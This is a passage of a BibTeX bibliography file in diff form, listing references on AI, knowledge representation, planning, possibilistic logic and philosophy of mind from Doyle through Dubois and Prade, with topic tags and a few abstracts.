doyle_j-wellman:1989a2, + author = {Jon Doyle and Michael P. Wellman}, + title = {Impediments to Universal Preference-Based Default + Theories}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {97--128}, + xref = {Conference publication: doyle_j-wellman:1989a1.}, + topic = {kr;kr-course;foundations-of-nonmonotonic-logic;} + } + +@inproceedings{ doyle_j:1990a, + author = {Jon Doyle}, + title = {Rationality and Its Roles in Reasoning (Extended Abstract)}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {1093--1100}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {rationality;utility-theory;} + } + +@unpublished{ doyle_j:1990b, + author = {Jon Doyle}, + title = {Rational Belief Revision}, + year = {1990}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {rationality;belief-revision;} + } + +@incollection{ doyle_j:1991a, + author = {Jon Doyle}, + title = {The Foundations of Psychology: A Logico-Computational + Inquiry into the Concept of Mind}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {39--77}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-AI;philosophy-of-psychology;foundations-of-AI; + foundations-of-psychology;} + } + +@incollection{ doyle_j:1991b, + author = {Jon Doyle}, + title = {Rational Belief Revision}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {163--174}, + address = {San Mateo, California}, + topic = {kr;belief-revision;kr-course;} + } + +@inproceedings{ doyle_j-etal:1991a, + author = {Jon Doyle and Yoav Shoham and Michael P. Wellman}, + title = {A Logic of Relative Desire (Preliminary Report)}, + booktitle = {Proceedings of the Sixth International Symposium on + Methodologies for Intelligent Systems}, + year = {1991}, + editor = {Zbigniew Ras}, + pages = {16--31}, + series = {Lecture Notes in Computer Science}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {qualitative-utility;} + } + +@inproceedings{ doyle_j-wellman:1991a, + author = {Jon Doyle and Michael Wellman}, + title = {Preferential Semantics for Goals}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {698--703}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {qualitative-utility;} + } + +@article{ doyle_j-wellman:1991b, + author = {Jon Doyle and Michael Wellman}, + title = {Impediments to Universal Preference-Based Default Theories}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {97}, + contentnote = {This paper shows that Arrow's theorem applies to + preferences of defaults.}, + topic = {nonmonotonic-reasoning;welfare-economics;Arrow's-theorem;} + } + +@incollection{ doyle_j:1992a, + author = {Jon Doyle}, + title = {Reason Maintenance and Belief Revision: Foundations Vs. + Coherence Theories}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {29--52}, + address = {Cambridge}, + topic = {belief-revision;truth-maintenance;} + } + +@incollection{ doyle_j:1992b, + author = {Jon Doyle}, + title = {Reason Maintenance and Belief Revision}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {29--51}, + address = {Cambridge}, + topic = {belief-revision;} + } + +@article{ doyle_j:1992c, + author = {Jon Doyle}, + title = {Rationality and Its Roles in Reasoning}, + journal = {Computational Intelligence}, + year = {1992}, + volume = {8}, + number = {2}, + pages = {376--409}, + topic = {rationality;practical-reasoning;foundations-of-planning;} + } + +@inproceedings{ doyle_j-wellman:1992a, + author = {Jon Doyle and Michael Wellman}, + title = {Modular Utility Representation for Decision-Theoretic + Planning}, + booktitle = {Proceedings of the First International Conference on + Artificial Intelligence Planning Systems}, + year = {1992}, + pages = {236--242}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {qualitative-utility;} + } + +@book{ doyle_j-etal:1994a, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + title = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + address = {San Francisco}, + topic = {kr;} + } + +@inproceedings{ doyle_j-wellman_mp:1994a, + author = {Jon Doyle and Michael P. Wellman}, + title = {Representing Preferences as {\em Ceteris Paribus} + Comparatives}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Decision-Theoretic Planning}, + year = {1994}, + pages = {69--75}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;preferences;} + } + +@unpublished{ doyle_j:1995a, + author = {John Doyle}, + title = {Contextual Equivalence and {\em Ceteris Paribus} + Comparatives}, + year = {1995}, + note = {Unpublished manuscript, Laboratory for Computer Science, + Massachusetts Institute of Technology.}, + topic = {foundations-of-planning;qualitative-utility;} + } + +@unpublished{ doyle_j:1997a, + author = {Jon Doyle}, + title = {An Outline of Qualitative Decision Theory}, + year = {1997}, + note = {Unpublished manuscript, Laboratory for Computer Science, + Massachusetts Institute of Technology}, + topic = {qualitative-utility;} + } + +@article{ doyle_j-dean:1997a, + author = {Jon Doyle and Thomas Dean}, + title = {Strategic Directions in Artificial Intelligence}, + journal = {{AI} Magazine}, + year = {1997}, + volume = {18}, + number = {1}, + pages = {87--102}, + topic = {AI-survey;} + } + +@book{ doyle_j-thomason_rh:1997a, + editor = {Jon Doyle and Richmond H. Thomason}, + title = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + publisher = {American Association for Artificial Intelligence}, + year = {1997}, + address = {Menlo Park, California}, + topic = {qualitative-utility;practical-reasoning;} + } + +@inproceedings{ doyle_rj-etal:1986a, + author = {R.J. Doyle and D.J. Atkinson and R.S. Doshi}, + title = {Generating perception requests and expectations to verify the + execution of plans}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {pages 81ff}, + topic = {plan-monitoring;} + } + +@article{ drabble:1993a, + author = {Brian Drabble}, + title = {{EXCALIBUR}: A Program for Planning and Reasoning with + Processes}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {1--40}, + acontentnote = {Abstract: + This article describes research aimed at + building a hierarchical partial order planner which is capable + of interacting with a constantly changing world. The main aim is + to verify a planning and execution strategy based on qualitative + process theory which allows a greater level of interaction + between the planner and the real world than exists within + current planners. A variety of techniques are described which + allow the planner to create a model of the world in which plan + failures can be analysed and faulty plans repaired. These + techniques also allow the planner to react to changes in the + world outside of the plan which it has been told previously to + avoid happening, e.g., an explosion.}, + topic = {hierarchical-planning;partial-order-planning; + plan-execution;} + } + +@article{ drakengren-jonsson:1997a, + author = {Thomas Drakengren and Peter Jonsson}, + title = {Twenty-One Large Tractable Subclasses of {A}llen's + Algebra}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {297--319}, + topic = {temporal-reasoning;;kr-course;complexity-in-AI;kr;krcourse;} + } + +@article{ drakengren-jonsson_p:1998a, + author = {Thomas Drakengren and Peter Jonsson}, + title = {A Complete Classification of Tractability in {A}llen's + Algebra Relative to Subsets of Basic Relations}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {106}, + number = {2}, + pages = {205--219}, + topic = {temporal-reasonong;;kr-course;kr-complexity-analysis;} + } + +@article{ drakengren-bjareland:1999a, + author = {Thomas Drakengren and Marcus Bj\"areland}, + title = {Reasoning about Action in Polynomial Time}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {1}, + pages = {1--24}, + topic = {complexity-in-AI;planning-algorithms;polynomial-algorithms;} + } + +@incollection{ drakos:1988a, + author = {Nikos Drakos}, + title = {Reason Maintenance in Horn-Clause Logic Programs}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {77--97}, + address = {Chichester}, + topic = {truth-maintenance;logic-programming;} + } + +@article{ draper:1981a, + author = {Stephen W. Draper}, + title = {The Use of Gradient and Dual Space in Line-Drawing + Interpretation}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {461--508}, + acontentnote = {Abstract: + This paper reviews the application of gradient space and dual + space in programs that interpret line-drawings and examines + whether they can provide a basis for a fully adequate program. + Mackworth's program Poly is analyzed at length. Counterexamples + show first that the procedure must be generalized from gradient + to dual space, and then that constraints in the form of + inequalities as well as equations must he handled which + necessitates a radical re-design. A proof that Poly itself is + valid under perspective as well as orthographic projection + although its derivation in terms of gradient space is not, + further indicates that gradient (or dual) space is not the + important element in Mackworth's approach. Other ways of using + dual space by Kanade and Huffman are discussed but they do not + convincingly rebut the conclusion that dual space is peripheral + to the design of a competent program. Finally the conclusion + that the plane equation approach derived from the developments + described, while theoretically adequate, is awkward to use + because it fails to offer intuitive clarity, is supported by + contrasting it with the alternative method of sidedness + reasoning.}, + topic = {line-drawings;} + } + +@inproceedings{ draper_d-etal:1994a, + author = {Denise Draper and Steve Hanks and Daniel Weld}, + title = {Probabilistic Planning With Information Gathering and Contingent + Execution}, + booktitle = {Proceedings of the Second International Conference on {AI} + Planning Systems}, + year = {1994}, + editor = {K. Hammond}, + pages = {31--36}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {probabilistic-planning;} + } + +@unpublished{ draper_d-hanks:1996a, + author = {Denise Draper and Steve Hanks}, + title = {Localized Partial Evaluation of Belief Networks}, + year = {1996}, + note = {Unpublished manuscript, Computer Science Department, + University of Washington}, + missinginfo = {Date is a guess. Publication info + is missing.}, + topic = {probabilistic-planning;partial-evaluation;} + } + +@unpublished{ drapkin-etal:1987a, + author = {Jennifer Drapkin and M. Miller and Donald Perlis}, + title = {On Default Handling: Consistency Before and After}, + year = {1987}, + note = {Unpublished manuscript, Department of Computer Science, + University of Maryland}, + xref = {Jennifer Drapkin = Jennifer Elgot-Drapkin}, + topic = {nonmonotonic-reasoning;reasoning-about-consistency;} + } + +@inproceedings{ dras:1997a, + author = {Mark Dras}, + title = {Representing Paraphrases using Synchronous {TAG}s}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {516--518}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {machine-translation;paraphrasing;TAG-grammar;} + } + +@article{ dray:1962a, + author = {William Dray}, + title = {Choosing and Doing}, + journal = {Dialogue}, + year = {1962}, + volume = {1}, + pages = {129--152}, + missinginfo = {number}, + topic = {action;} + } + +@incollection{ dray:1962b, + author = {W.H. Dray}, + title = {Must Effects Have Causes?}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {20--25}, + address = {New York}, + xref = {Comments on: vendler:1962a.}, + topic = {ordinary-language-philosophy;causality;} + } + +@article{ dreischner:1977a, + author = {M. Dreischner}, + title = {Is (Quantum) Logic Empirical?}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {415--423}, + topic = {quantum-logic;} + } + +@unpublished{ dreizen:1976a, + author = {Felix Dreizen}, + title = {The Proper Treatment of Negation in Ordinary {R}ussian}, + year = {1976}, + note = {Unpublished manuscript, University of Haifa.}, + missinginfo = {Year is a guess.}, + topic = {negation;Montague-grammar;Russian-language;} + } + +@article{ dresher-hornstein:1976a, + author = {Bezalem E. Dresher and Norbert H. Hornstein}, + title = {On the Supposed Contribution of Artificial Intelligence to + the Scientific Study of Language}, + journal = {Cognition}, + year = {1976}, + volume = {4}, + number = {4}, + pages = {321--398}, + topic = {linguistic-theory-and-computational-linguistics;} + } + +@article{ dresher-hornstein:1999a, + author = {Bezalem E. Dresher}, + title = {Charting the Learning Path: Cues to Parameter + Setting}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {1}, + pages = {27--96}, + topic = {parameter-setting;} + } + +@article{ dresner:2001a, + author = {Eli Dresner}, + title = {Tarski's Restricted Form and {N}eale's Quantificational + Treatment of Proper Names}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {4}, + pages = {405--415}, + topic = {identity;variable-binding;nl-quantification;} + } + +@incollection{ dressler_o-strauss:1996a, + author = {Oskar Dressler and Peter Strauss}, + title = {The Consistency-Based Approach to Automated Diagnosis of + Devices}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {267--311}, + address = {Stanford, California}, + topic = {diagnosis;} + } + +@book{ dressler_w:1972a, + author = {Wolfgang Dressler}, + title = {Einf\"uring in die {T}extlinguistik}, + publisher = {Niemeyer}, + year = {1972}, + address = {T\"ubingen}, + title = {{T}extlinguistik}, + publisher = {Wissenschaftliche Buchgesellschaft}, + year = {1972}, + address = {Darmstadt}, + topic = {text-grammar;text-linguistics;discourse;pragmatics;} + } + +@book{ dretske:1969a, + author = {Fred I. Dretske}, + title = {Seeing and Knowing}, + publisher = {Chicago University Press}, + year = {1969}, + address = {Chicago}, + xref = {Review: aldrich:1970a.}, + topic = {logic-of-perception;epistemology;epistemic-logic;} + } + +@article{ dretske:1970a, + author = {Fred I. Dretske}, + title = {Epistemic Operators}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {24}, + pages = {1007--1023}, + topic = {epistemic-logic;propositional-attitudes;sentence-focus;pragmatics;} + } + +@article{ dretske:1972a, + author = {Fred Dretske}, + title = {Contrastive Statements}, + journal = {Philosophical Review}, + year = {1972}, + volume = {81}, + number = {4}, + pages = {411--437}, + topic = {sentence-focus;contrastive-stress;pragmatics;} + } + +@incollection{ dretske:1974a, + author = {Fred I. Dretske}, + title = {Explanation in Linguistics}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {21--41}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;linguistics-methodology; + explanation;} + } + +@incollection{ dretske:1978a, + author = {Fred I. Dretske}, + title = {Referring to Events}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {369--378}, + address = {Minneapolis}, + topic = {events;JL-Austin;sentence-focus;} + } + +@book{ dretske:1981a, + author = {Fred I. Dretske}, + title = {Knowledge and the Flow of Information}, + publisher = {The {MIT} Press}, + year = {1981}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-language;information-flow-theory; + theories-of-information;} + } + +@incollection{ dretske-enc:1984a, + author = {Fred Dretske and Berent En\c}, + title = {Causal Theories of Knowledge}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {517--528}, + address = {Minneapolis}, + topic = {knowledge;causality;} + } + +@article{ dretske:1985a, + author = {Fred Dretske}, + title = {Constraints and Meaning}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {9--12}, + topic = {situation-semantics;foundations-of-semantics;} + } + +@book{ dretske:1988a, + author = {Fred Dretske}, + title = {Explaining Behavior: Reasons in a World of Causes}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + xref = {Review: mclaughlin_bp:1991a.}, + topic = {philosophy-of-mind;belief;desire;} + } + +@incollection{ dretske:1989a, + author = {Fred Dretske}, + title = {Reasons and Causes}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {1--15}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reasons-for-action;desires;} + } + +@incollection{ dretske:1990a, + author = {Fred Dretske}, + title = {Seeing, Believing, and Knowing}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {129--148}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-perception;} + } + +@incollection{ dretske:1993a, + author = {Fred Dretske}, + title = {Mental Events as Structuring Causes of + Behaviour}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {131--136}, + address = {Oxford}, + topic = {mind-body-problem;causality;} + } + +@article{ dretske:1994a, + author = {Fred Dretske}, + title = {The Explanatory Role of Information}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {9--69}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {information-flow-theory;foundations-of-AI;theories-of-information;} + } + +@incollection{ dreyfus:1981a, + author = {Hubert L. Dreyfus}, + title = {From Micro-Worlds to Knowledge Representation: {AI} at an + Impasse}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {161--204}, + address = {Cambridge, Massachusetts}, + xref = {Excerpted from introduction to dreyfus_hl:1972a.}, + topic = {philosophy-AI;} + } + +@article{ dreyfus_hl:1965a, + author = {Hubert L. Dreyfus}, + title = {Why Computers Must Have Bodies in Order to Be + Intelligent}, + journal = {Review of Metaphysics}, + year = {1965}, + volume = {21}, + pages = {13--32}, + missinginfo = {number}, + topic = {philosophy-AI;} + } + +@book{ dreyfus_hl:1972a, + author = {Hubert L. Dreyfus}, + title = {What Computers Can't Do: A Critique of Artificial + Reason}, + publisher = {Harper and Row}, + year = {1972}, + address = {New York}, + topic = {philosophy-AI;} + } + +@book{ dreyfus_hl-dreyfus_se:1986a, + author = {Hubert L. Dreyfus}, + title = {Mind Over Machine: The Power of Human Intuition and the + Expertise in the Era of the Computer}, + publisher = {Free Press}, + year = {1986}, + address = {New York}, + xref = {Review: koschmann:1987a.}, + topic = {philosophy-AI;} + } + +@incollection{ dreyfus_hl-dreyfus_se:1987a, + author = {Hubert L. Dreyfus and Stuart E. Dreyfus}, + title = {How to Stop Worrying about the Frame Problem Even though + It's Computationally Intractable}, + booktitle = {The Robot's Dilemma: The Frame Problem + in Artificial Intelligence}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + editor = {Zenon Pylyshyn}, + pages = {95--111}, + topic = {frame-problem;philosophy-AI;} + } + +@book{ dreyfus_hl:1992a, + author = {Hubert L. Dreyfus}, + title = {What Computers Still Can't Do: A Critique of Artificial + Reason}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: collins_hm:1996a, haugeland:1996a, koschmann:1996a, + mccarthy_j1:1996a, strom-darden:1996a. + Commentary: dreyfus_hl:1999a.}, + topic = {philosophy-AI;} + } + +@article{ dreyfus_hl:1996a, + author = {Hubert L. Dreyfus}, + title = {Response to My Critics}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {1}, + pages = {171--191}, + xref = {Commentary on reviews of dreyfus:1992a.}, + topic = {philosophy-AI;} + } + +@incollection{ driankov-hellendoorn:1991a, + author = {Dimiter Driankov and Hans Hellendoorn}, + title = {Towards a Logic for a Fuzzy Logic Controller}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {166--171}, + address = {Berlin}, + topic = {fuzzy-logic;} + } + +@inproceedings{ drummond:1985a, + author = {Mark Drummond}, + title = {Refining and Extending the Procedural Net}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + editor = {Arivind Joshi}, + pages = {1010--1015}, + year = {1985}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + contentnote = {Introduces the idea of a plan net.}, + topic = {planning;} + } + +@incollection{ drummond:1989a, + author = {Mark Drummond}, + title = {Situated Control Rules}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {103--113}, + address = {San Mateo, California}, + topic = {kr;kr-course;planning-formalisms;planning;} + } + +@inproceedings{ druzdel:1997a, + author = {Marek Druzdel}, + title = {An Incompatibility Between Preferential Ordering And + the Decision-Theoretic Notion of Utility}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {35--40}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;preferences;foundations-of-utility;} + } + +@inproceedings{ druzdzel-henrion:1993a, + author = {Marek Druzdzel and Max Henrion}, + title = {Efficient Reasoning in Qualitative Probabilistic + Networks}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {548--553}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {Bayesian-networks;} + } + +@incollection{ dry-aristar_ar:1998a, + author = {Helen Aristar Dry and Anthony Rodrigues Aristar}, + title = {The Internet: An Introduction}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {26--61}, + address = {London}, + topic = {internet-general;} + } + +@article{ dubois-etal:1991a, + author = {Didier Dubois and J\'er\v{o}me Lang and Henri Prade}, + title = {Timed Possibilistic Logic}, + journal = {Fundamenta Informaticae}, + year = {1991}, + volume = {15}, + number = {3--4}, + pages = {211--234}, + topic = {temporal-logic;possibilistic-logic;} + } + +@incollection{ dubois-etal:2002a, + author = {Didier Dubois and H\'el\`ene Fargier and Patrice Perny}, + title = {On the Limitations of Ordinal Approaches to Decision-Making}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {133--144}, + address = {San Francisco, California}, + topic = {kr;qualitative-utility;} + } + +@article{ dubois_d-prade:1986a, + author = {Didier Dubois and Henri Prade}, + title = {Belief Structures, Possibility Theory, and Decomposible + Confidence Measures on Finite Sets}, + journal = {Computers and Artificial Intelligence}, + year = {1986}, + volume = {5}, + pages = {403--416}, + missinginfo = {number}, + topic = {qualitative-probability;reasoning-about-uncertainty;} + } + +@book{ dubois_d-prade:1986b, + author = {Didier Dubois and Henri Prade}, + title = {Possibility Theory: An Approach to Computerized Processing + of Uncertainty}, + publisher = {Plenum Press}, + year = {1986}, + address = {New York}, + topic = {qualitative-probability;reasoning-about-uncertainty;} + } + +@article{ dubois_d-prade:1988a, + author = {Didier Dubois and Henri Prade}, + title = {Default Reasoning and Possibility Theory}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {243--257}, + topic = {nonmonotonic-logic;possibility-theory;} + } + +@incollection{ dubois_d-etal:1991b, + author = {Didier Dubois and J. Lang and Henri Prade}, + title = {A Brief Overview of Possibilistic Logic}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {53--57}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;possibilistic-logic;} + } + +@incollection{ dubois_d-prade:1991a, + author = {Didier Dubois and Henri Prade}, + title = {Conditional Objects and Non-Monotonic Reasoning}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {175--185}, + address = {San Mateo, California}, + topic = {nonmonotonic-reasoning;conditionals;conditional-reasoning;} + } + +@article{ dubois_d-prade:1991b, + author = {Didier Dubois and Henri Prade}, + title = {Epistemic Entrenchment and Possibilistic Logic}, + journal = {Artificial Intelligence}, + year = {2991}, + volume = {50}, + number = {2}, + pages = {223--239}, + topic = {possibilistic-logic;} + } + +@inproceedings{ dubois_d-prade:1992a, + author = {Didier Dubois and Henri Prade}, + title = {Possibilistic Logic, Preferential Models, and Related + Issues}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara Grosz and John Mylopoulos}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {pages}, + topic = {qualitative-probability;reasoning-about-uncertainty; + model-preference;} + } + +@incollection{ dubois_d-prade:1992b, + author = {Didier Dubois and Henri Prade}, + title = {Belief Change and Possibility Theory}, + booktitle = {Belief Revision}, + publisher = {Cambridge University Press}, + year = {1992}, + editor = {Peter G\"ardenfors}, + pages = {142--182}, + address = {Cambridge}, + topic = {belief-revision;qualitative-probability; + reasoning-about-uncertainty;} + } + +@incollection{ dubois_d-etal:1994b, + author = {Didier Dubois and J\'er\^ome Lang and Henri Prade}, + title = {Possibilistic Logic}, + booktitle = {Handbook of Logic in Artificial Intelligence + and Logic Programming, Volume 3: Nonmonotonic + Reasoning and Uncertain Reasoning}, + publisher = {Oxford University Press}, + year = {1994}, + editor = {Dov Gabbay and Christopher J. Hogger and J. A. Robinson}, + pages = {439--513}, + address = {Oxford}, + topic = {possibilistic-logic;} + } + +@incollection{ dubois_d-prade:1994a, + author = {Didier Dubois and Henri Prade}, + title = {Conditional Objects as Nonmonotonic Consequence Relations: + Main Results}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {170--177}, + address = {San Francisco, California}, + topic = {kr;conditionals;nonmonotonic-reasoning;kr-course;} + } + +@incollection{ dubois_d-prade:1995a, + author = {Didier Dubois and Henri Prade}, + title = {Conditional Objects, Possibility Theory and Default Rules}, + booktitle = {Conditionals: From Philosophy to Computer Science}, + publisher = {Oxford University Press}, + year = {1995}, + editor = {Gabriella Crocco and Luis Fari\~nas del Cerro and Andreas Herzig}, + pages = {301--336}, + address = {Oxford}, + topic = {conditionals;nonmonotonic-logic;nonmonotonic-conditionals;} + } + +@inproceedings{ dubois_d-prade:1995b, + author = {Didier Dubois and Henry Prade}, + title = {Possibility Theory as a Basis for Qualitative Decision + Theory}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1924--1930}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {qualitative-utility;} + } + +@incollection{ dubois_d-prade:1996a, + author = {Didier Dubois and Henri Prade}, + title = {Non-Standard Theories of Uncertainty in Plausible + Reasoning}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {1--32}, + address = {Stanford, California}, + topic = {reasoning-about-uncertainty;Bayesian-networks; + possibilistic-logic;} + } + +@inproceedings{ dubois_d-etal:1997a, + author = {Didier Dubois and H\'elene Fargier and Henri Prade}, + title = {Decision Making Under Ordinal Preferences and Uncertainty}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {41--46}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;decision-analysis;possibilistic-logic;} + } + +@inproceedings{ dubois_d-etal:1997b, + author = {Didier Dubois and Henri Prade and R\'egis Sabbadin}, + title = {A Possibilistic Logic Machinery for Qualitative Decision}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {47--54}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;possibilistic-logic;} + } + +@incollection{ dubois_d-etal:1998a, + author = {Didier Dubois and Llu\'is Godo and Henri Prade and + Adriana Zapico}, + title = {Making Decision in a Qualitative Setting: from Decision + under Uncertainty to Case-Based Decision}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {594--605}, + address = {San Francisco, California}, + topic = {kr;qualitative-utility;case-based-reasoning;kr-course;} + } + +@inproceedings{ 